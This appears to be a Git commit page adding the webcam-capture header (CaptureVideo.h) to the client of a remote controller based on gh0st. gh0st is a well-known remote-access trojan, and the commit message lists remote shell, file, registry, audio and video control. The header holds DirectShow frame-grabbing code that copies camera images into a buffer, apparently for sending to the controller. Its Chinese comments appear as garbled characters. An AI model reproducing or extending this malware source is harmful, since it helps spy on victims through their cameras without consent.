基于gh0st的远程控制器
实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
186
client/CaptureVideo.h
Normal file
186
client/CaptureVideo.h
Normal file
@@ -0,0 +1,186 @@
|
||||
// CaptureVideo.h: interface for the CCaptureVideo class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <Objbase.h>
|
||||
#include <uuids.h>
|
||||
#include <strmif.h>
|
||||
#include <CONTROL.H>
|
||||
#include <ATLBASE.H>
|
||||
#include <qedit.h>
|
||||
#include <amvideo.h>
|
||||
#include <DShow.h>
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
enum{
|
||||
CMD_CAN_COPY,
|
||||
CMD_CAN_SEND
|
||||
};
|
||||
|
||||
#ifndef SAFE_RELEASE
|
||||
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
|
||||
#endif
|
||||
|
||||
class CSampleGrabberCB : public ISampleGrabberCB
|
||||
{
|
||||
public:
|
||||
ULONG m_ulFullWidth;
|
||||
ULONG m_ulFullHeight;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BOOL bStact;
|
||||
DWORD m_dwSize;
|
||||
|
||||
CSampleGrabberCB()
|
||||
{
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
m_BitmapData_Full = NULL;
|
||||
|
||||
m_dwSize = 0;
|
||||
bStact = CMD_CAN_COPY;
|
||||
}
|
||||
|
||||
~CSampleGrabberCB()
|
||||
{
|
||||
if (m_BitmapInfor_Full!=NULL)
|
||||
{
|
||||
delete[] m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
if (m_BitmapData_Full!=NULL)
|
||||
{
|
||||
delete[] m_BitmapData_Full;
|
||||
}
|
||||
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
}
|
||||
|
||||
LPBITMAPINFO GetBmpInfor() //
|
||||
{
|
||||
if (m_BitmapInfor_Full==NULL) //ͷ<><CDB7>Ϣ
|
||||
{
|
||||
ConstructBI(24);
|
||||
}
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||
BitmapInforHeader->biWidth = m_ulFullWidth;
|
||||
BitmapInforHeader->biHeight = m_ulFullHeight;
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount;
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||
BitmapInforHeader->biClrUsed = 0;
|
||||
BitmapInforHeader->biClrImportant = 0;
|
||||
|
||||
BitmapInforHeader->biSizeImage = //ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
|
||||
* BitmapInforHeader->biHeight;
|
||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
|
||||
//!!
|
||||
m_dwSize=BitmapInforHeader->biSizeImage; //<2F><><EFBFBD>ݴ<EFBFBD>С
|
||||
m_BitmapData_Full=new BYTE[m_dwSize+10];
|
||||
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP_(ULONG) AddRef() { return 2;}
|
||||
STDMETHODIMP_(ULONG) Release() { return 1;}
|
||||
|
||||
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
|
||||
{
|
||||
//???
|
||||
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){
|
||||
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
|
||||
return NOERROR;
|
||||
}
|
||||
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
BYTE* GetNextScreen(DWORD &dwSize)
|
||||
{
|
||||
dwSize=m_dwSize;
|
||||
return (BYTE*)m_BitmapData_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP SampleCB( double dbSampleTime, IMediaSample * Sample)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
//<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> bmp <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
|
||||
{
|
||||
if (!szBuffer)
|
||||
{
|
||||
return E_POINTER;
|
||||
}
|
||||
|
||||
if (bStact==CMD_CAN_COPY) //δ<><CEB4>ʼ<EFBFBD><CABC> <20><><EFBFBD>͵<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
{
|
||||
//<2F><>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD>
|
||||
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ
|
||||
|
||||
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭ<><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
|
||||
return S_OK;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
CCaptureVideo();
|
||||
virtual ~CCaptureVideo();
|
||||
LPBITMAPINFO CCaptureVideo::GetBmpInfor();
|
||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder();
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress);
|
||||
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize);
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
IGraphBuilder * m_pGB; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //ͨ<><CDA8><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Է<EFBFBD><D4B7><EFBFBD> <20><>ʵCDO
|
||||
|
||||
IMediaControl* m_pMC; //<2F><><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD>Ľӿ<C4BD>
|
||||
IVideoWindow* m_pVW;
|
||||
|
||||
IBaseFilter* m_pBF; //FDO
|
||||
ISampleGrabber* m_pGrabber; //<2F><><EFBFBD><EFBFBD> 24Color
|
||||
|
||||
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||
void CCaptureVideo::ResizeVideoWindow();
|
||||
HRESULT CCaptureVideo::SetupVideoWindow();
|
||||
void CCaptureVideo::SendEnd();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
Reference in New Issue
Block a user